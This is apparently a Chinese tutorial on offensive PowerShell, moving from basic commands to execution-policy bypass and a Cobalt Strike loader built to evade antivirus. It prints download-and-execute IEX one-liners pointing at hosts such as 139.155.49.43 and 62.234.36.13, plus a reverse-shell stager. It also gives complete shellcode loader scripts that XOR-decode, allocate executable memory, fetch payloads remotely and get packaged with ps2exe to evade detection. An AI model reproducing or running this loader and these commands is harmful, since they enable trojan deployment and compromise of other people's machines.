Bootstrap

PowerShell渗透框架

.NET编程语言编写的

cmd命令和linux

dir ls 遍历目录

del del /f 1.txt rm -f 1.txt 删除文件

move,rename mv 移动文件/更改文件名

ipconfig /all /flushdns 刷新dns缓存 ifconfig

tasklist 任务进程列表

systeminfo uname -a 查看系统信息

netstat -ano netstat -anop 查看进程(管理员)

powershell基础

本地运行powershell脚本

powershell -ep bypass -f test.ps1

远程运行powershell脚本

powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('URL')"
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/mdr9tHRs')"
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/cmd')"

Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

Pastebin.com - #1 paste tool since 2002!Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.icon-default.png?t=N7T8https://pastebin.com/

在公网中保存一个字符串

脚本执行策略(重点)

在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。

查看当前执行策略

Get-ExecutionPolicy

获取影响当前会话的所有执行策略,并按优先顺序显示它们

Get-ExecutionPolicy -List

将执行策略设置为 Unrestricted

Set-ExecutionPolicy Unrestricted

PowerShell中可以设置以下类型的执行策略:​

绕过执行策略

本地读取然后通过管道符运行

powershell get-content a.ps1 | powershell -noprofile -

远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"

Bypass执行策略绕过

powershell -executionpolicy bypass -File ./a.ps1

Unrestricted执行策略

powershell -executionpolicy unrestricted -File ./a.ps1

PowerShell注释

#单行注释
<#
多行注释
#>

PowerShell Cmdlet

Cmdlets是PowerShell的非常重要的内部命令集。

Cmdlet发音为” command-lets”,它是在PowerShell环境中使用的轻量级命令。

这些是在 PowerShell环境中实现特殊功能的特殊命令。

Cmdlet遵循“动词-名词”模式,例如:set-childItem Cmdlet是以.NET类实例形式存在的命令。

Cmdlets可以用任何.NET语言来编写,也可以用 PowerShell脚本语言来编写。

它并不是简单的可执行文件,它有很多属性,这些属性用来指定输入参数或者使用管道来管理重定 向。 我们可以通过输入Get-Command 可以显示可用的Cmdlets命令。

Get-Command -CommandType Cmdlet

常用Cmdlet命令

下面的简写称为别名

查看powershell版本

$PSVersionTable
Get-Host

查看当前环境变量

Get-ChildItem env:
gci env:
ls env:
dir env:

启动指定程序

Start-Process calc.exe
saps calc.exe
start calc.exe

获取指定进程信息

Get-Process explorer
gps
ps

获取文件信息

Get-Item 1.txt
gi

复制文件

Copy-Item 1.txt 2.txt
cpi
cp
copy

移动文件

Move-Item 1.txt 2.txt
mi
mv
move

获取指定服务信息

Get-Service -Name Everything

获取文件Hash

Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt

获取文件内容

Get-Content 1.txt
gc
cat
type

设置文本内容

Set-Content 1.txt -Value "hello, word"
sc

删除文件的内容,但不删除该文件

Clear-Content 1.txt

获取当前目录

Get-Location
gl
pwd

查看别名

Get-Alias -name dir

基本语法

管道符

| # 将一个命令的输出作为另一个命令的输入

分号

; # 分号用来连续执行系统命令

调用操作符

& # 调用操作符,它允许你执行命令,脚本或函数

输出单双引号

"""" # 输出双引号
'''' # 输出单引号

运输符

> :将输出保存到指定文件中(用法:Get-Process > output.txt)
>> :将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2> :将错误输出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> :将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq :等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt :大于运算符(用法:$var1 –gt $var2,返回真或假)
-match :匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace :替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in :测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()

变量

变量都是以 $ 开头

$w = "hello world" # 变量赋值
$w # 访问变量

数组

$a = 'value1','value2','value3' # 创建数组
$a[0] # 访问数组第一个元素
$a = @() # 空数组
$a = 1,'two',(get-date)

语句

  1. 条件语句
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
  1. 循环语句
while() {}
Do {} While()
For(;;;) {}

Cmd启动Powershell

(1) 常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

(2) 管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

(3) 环境变量

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::Get
EnvironmentVariable('cmd', 'Process'));"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:c
md).Value)"

(4) 从粘贴板执行

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

(5) bat脚本执行

@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause

CS的Powershell加载器(分离式免杀)

在cobaltstrike中,我们经常会使用powershell远程加载上线,下面来大概分析下其基本原理。

(1) CS生成Powershell反弹shell

  • CS拓展应用
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://62.234.36.13:8088/a'))"

(2) 获取远程加载代码

  1. 访问url链接即可获得如下代码
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密payload..."));IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  1. 代码解释

先 base64 解码一段字符串,然后通过 IO.Compression.GzipStream 解压缩,最终将代码通过 IEX 加载执行。

MemoryStream类:位于System.IO命名空间,为系统内存提供流式的读写操作 。常作为其他流数据交换时的 中间对象操作。

StreamReader类:位于System.IO命名空间,实现一个可读取有序字符系列的读取器,使其以一种特定的编码 从字节流中读取字符。 

GZipStream类:位于System.IO.Compression命名空间,使用 GZip 数据格式规范提供用于压缩和解压缩流 的方法和属性。 

GZipStream(Stream, CompressionMode):用指定的流和压缩模式初始化 GZipStream 类的新实例。 [IO.Compression.CompressionMode]::Decompress:指定为解压缩模式 

StreamReader.ReadToEnd() 方法:读取来自流的当前位置到结尾的所有字符

(3) 获取加密字符串源码

  1. 把 IEX 更改为 echo
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("......"));echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  1. 保存为 b.ps1 并执行此脚本
powershell -ep bypass -f b.ps1 > b.txt
  1. 获得加密字符串的源码
# 启用 PowerShell 的严格模式,并设置版本为 2
# 强制要求变量在使用之前必须先声明,并且不允许使用未定义的属性、方法和变量等。
Set-StrictMode -Version 2

# 定义func_get_proc_address函数
function func_get_proc_address {
    # 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
    Param ($var_module, $var_procedure)
    # 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
    # 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    # 然后通过调用该对象的Invoke()方法,获取函数地址。
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

# 定义func_get_delegate_type函数,创建一个新的委托类型,并返回改类型
function func_get_delegate_type {
    # 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
    # $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    # 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
    # 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

# 通过比较IntPtr类型的大小是否为8字节,来判断系统是否为64位
If ([IntPtr]::size -eq 8) {
    # base64解码操作
    [Byte[]]$var_code = [System.Convert]::FromBase64String('...base64加密后的payload...')

    # 将byte数组进行xor异或操作
    for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
    }

    # Marshal 类:提供了一个方法集合,这些方法用于分配非托管内存、复制非托管内存块、将托管类型转换为非托管类型,此外还提供了在与非托管代码交互时使用的其他杂项方法。
    # GetDelegateForFunctionPointer<TDelegate>(IntPtr):[在 .NET Framework 4.5.1 和更高版本中受支持] 将非托管函数指针转换为指定类型的委托。
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

    # 申请一块内存
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

    # 将payload复制到内存
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

    # 执行内存中的payload
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
}
  1. 将 payload(base64加密后的数据) 保存为 new.bin 文件

    cs2.ps1

#选中地方改为$enc
$enc=[System.Convert]::FromBase64String('...base64加密后的payload...')
#输出到new.bin中
for ($x = 0; $x -lt $enc.Count; $x++) {
	$enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
  1. 修改代码为读取 new.bin 文件内容到内存
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

运行输出new.bin文件

powershell -ep bypass -f cs2.ps1

(4) Powershell加载器

  1. 修改后的powershell加载shellcode的加载器(还是会被杀)

shellcodeloder.ps1

Set-StrictMode -Version 2

function func_get_delegate_type_new {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
    Param ($var_module, $var_procedure)   
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)

}
  1. 通过接收本地或远程的 payload 实现加载器与 shellcode 分离(会被杀,不学了,直接第3步)
powershell -ep bypass -f d.ps1 new.bin
powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin
  1. 通过ps2exe把powershell脚本转成exe(免杀了)

https://github.com/MScholtes/Win-PS2EXE

powershell.exe -ep bypass -command "&'.\ps2exe.ps1' -inputFile 'shellcodeloader.ps1' -outputFile 'd.exe'"

接下来将new.bin文件上传到服务器,开启一个监听

python3 -m http.server

用户访问后会将文件下载下来,然后运行d.exe就可以加载payload

d.exe http://62.234.36.13/new.bin

载入时会报毒,但木马已经上线

​​

直接生成可免杀,但是有控制台窗口,生成 noConsole 的exe会被杀

;